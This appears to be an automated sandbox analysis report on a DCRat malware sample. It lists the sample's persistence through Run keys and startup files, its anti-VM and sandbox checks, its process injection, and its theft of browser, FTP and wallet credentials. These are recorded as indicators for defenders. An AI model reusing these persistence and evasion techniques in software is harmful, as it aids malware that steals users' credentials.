dcrat | 1cf4a4b0f9432f78cd76b30cf8e6070d2d49b70d42ec4e2192da86d09a0a02fa

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

pid	Process
4836	netsh.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	C17C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	nsg5779.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	C5D0.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SmartTrace.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SmartTrace.url	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	369E.exe

Executes dropped EXE 24 IoCs

pid	Process
392	InstallSetup7.exe
2724	toolspub1.exe
3944	31839b57a4f11171d6abc8bbc4451ee4.exe
816	rty25.exe
2528	BroomSetup.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
4484	csrss.exe
5056	injector.exe
3860	nsg5779.tmp
3288	windefender.exe
1496	windefender.exe
3708	B3A0.exe
1092	C17C.exe
2320	C17C.exe
2420	C17C.exe
3724	C17C.exe
3092	D44A.exe
4952	EAA1.exe
2036	C5D0.exe
1060	Looksmart.pif
3328	Looksmart.pif
464	2EAC.exe
4036	31AB.exe
1180	369E.exe

Loads dropped DLL 5 IoCs

pid	Process
392	InstallSetup7.exe
392	InstallSetup7.exe
392	InstallSetup7.exe
3860	nsg5779.tmp
3860	nsg5779.tmp

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1504	icacls.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023227-361.dat	upx
behavioral2/files/0x0007000000023227-362.dat	upx
behavioral2/memory/3288-365-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x0007000000023227-364.dat	upx
behavioral2/memory/1496-501-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1496-550-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\d5473b6a-447f-4deb-9b2e-3cd4d9e26941\\C17C.exe\" --AutoStart"	C17C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\369E.exe"	369E.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	WerFault.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	icacls.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1180	369E.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1092 set thread context of 2320	1092	C17C.exe	138
PID 2420 set thread context of 3724	2420	C17C.exe	147
PID 4952 set thread context of 4868	4952	EAA1.exe	152
PID 1060 set thread context of 3328	1060	Looksmart.pif	175

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1932	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
380	3724	WerFault.exe
5004	3860	WerFault.exe	129

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B3A0.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B3A0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	B3A0.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	nsg5779.tmp
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	nsg5779.tmp

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3860	schtasks.exe
952	schtasks.exe
4584	schtasks.exe
2152	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1320	timeout.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
3936	tasklist.exe
2824	tasklist.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WerFault.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	icacls.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	icacls.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-661 = "Cen. Australia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WerFault.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-652 = "AUS Central Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-832 = "SA Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-751 = "Tonga Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-262 = "GMT Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WerFault.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	icacls.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-731 = "Fiji Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-282 = "Central Europe Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	icacls.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2432 = "Cuba Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-201 = "US Mountain Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-1501 = "Turkey Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WerFault.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WerFault.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	icacls.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-491 = "India Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-2511 = "Lord Howe Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-892 = "Morocco Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1168293393-3419776239-306423207-1000\{ABBFE4AE-03D5-48FE-8264-0167FE8D2453}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4240	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2724	toolspub1.exe
2724	toolspub1.exe
4620	powershell.exe
4620	powershell.exe
3944	31839b57a4f11171d6abc8bbc4451ee4.exe
3944	31839b57a4f11171d6abc8bbc4451ee4.exe
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
4908	powershell.exe
4908	powershell.exe
3352	Explorer.EXE
3352	Explorer.EXE
4908	powershell.exe
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
812	31839b57a4f11171d6abc8bbc4451ee4.exe
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE
3352	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2724	toolspub1.exe
3708	B3A0.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	3944	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeImpersonatePrivilege	3944	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	2180	WerFault.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	1504	icacls.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeSystemEnvironmentPrivilege	4484	csrss.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeSecurityPrivilege	1932	sc.exe
Token: SeSecurityPrivilege	1932	sc.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	4868	RegAsm.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	3936	tasklist.exe
Token: SeDebugPrivilege	2824	tasklist.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE

Suspicious use of FindShellTrayWindow 14 IoCs

pid	Process
1060	Looksmart.pif
3352	Explorer.EXE
3352	Explorer.EXE
1060	Looksmart.pif
1060	Looksmart.pif
3352	Explorer.EXE
3352	Explorer.EXE
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1060	Looksmart.pif
1060	Looksmart.pif
1060	Looksmart.pif
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe
2412	explorer.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2528	BroomSetup.exe
1180	369E.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3352	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 516 wrote to memory of 392	516	file.exe	87
PID 516 wrote to memory of 392	516	file.exe	87
PID 516 wrote to memory of 392	516	file.exe	87
PID 516 wrote to memory of 2724	516	file.exe	88
PID 516 wrote to memory of 2724	516	file.exe	88
PID 516 wrote to memory of 2724	516	file.exe	88
PID 516 wrote to memory of 3944	516	file.exe	89
PID 516 wrote to memory of 3944	516	file.exe	89
PID 516 wrote to memory of 3944	516	file.exe	89
PID 516 wrote to memory of 816	516	file.exe	91
PID 516 wrote to memory of 816	516	file.exe	91
PID 392 wrote to memory of 2528	392	InstallSetup7.exe	90
PID 392 wrote to memory of 2528	392	InstallSetup7.exe	90
PID 392 wrote to memory of 2528	392	InstallSetup7.exe	90
PID 3944 wrote to memory of 4620	3944	31839b57a4f11171d6abc8bbc4451ee4.exe	94
PID 3944 wrote to memory of 4620	3944	31839b57a4f11171d6abc8bbc4451ee4.exe	94
PID 3944 wrote to memory of 4620	3944	31839b57a4f11171d6abc8bbc4451ee4.exe	94
PID 2528 wrote to memory of 3368	2528	BroomSetup.exe	98
PID 2528 wrote to memory of 3368	2528	BroomSetup.exe	98
PID 2528 wrote to memory of 3368	2528	BroomSetup.exe	98
PID 3368 wrote to memory of 4208	3368	cmd.exe	97
PID 3368 wrote to memory of 4208	3368	cmd.exe	97
PID 3368 wrote to memory of 4208	3368	cmd.exe	97
PID 3368 wrote to memory of 3860	3368	cmd.exe	129
PID 3368 wrote to memory of 3860	3368	cmd.exe	129
PID 3368 wrote to memory of 3860	3368	cmd.exe	129
PID 812 wrote to memory of 4908	812	31839b57a4f11171d6abc8bbc4451ee4.exe	105
PID 812 wrote to memory of 4908	812	31839b57a4f11171d6abc8bbc4451ee4.exe	105
PID 812 wrote to memory of 4908	812	31839b57a4f11171d6abc8bbc4451ee4.exe	105
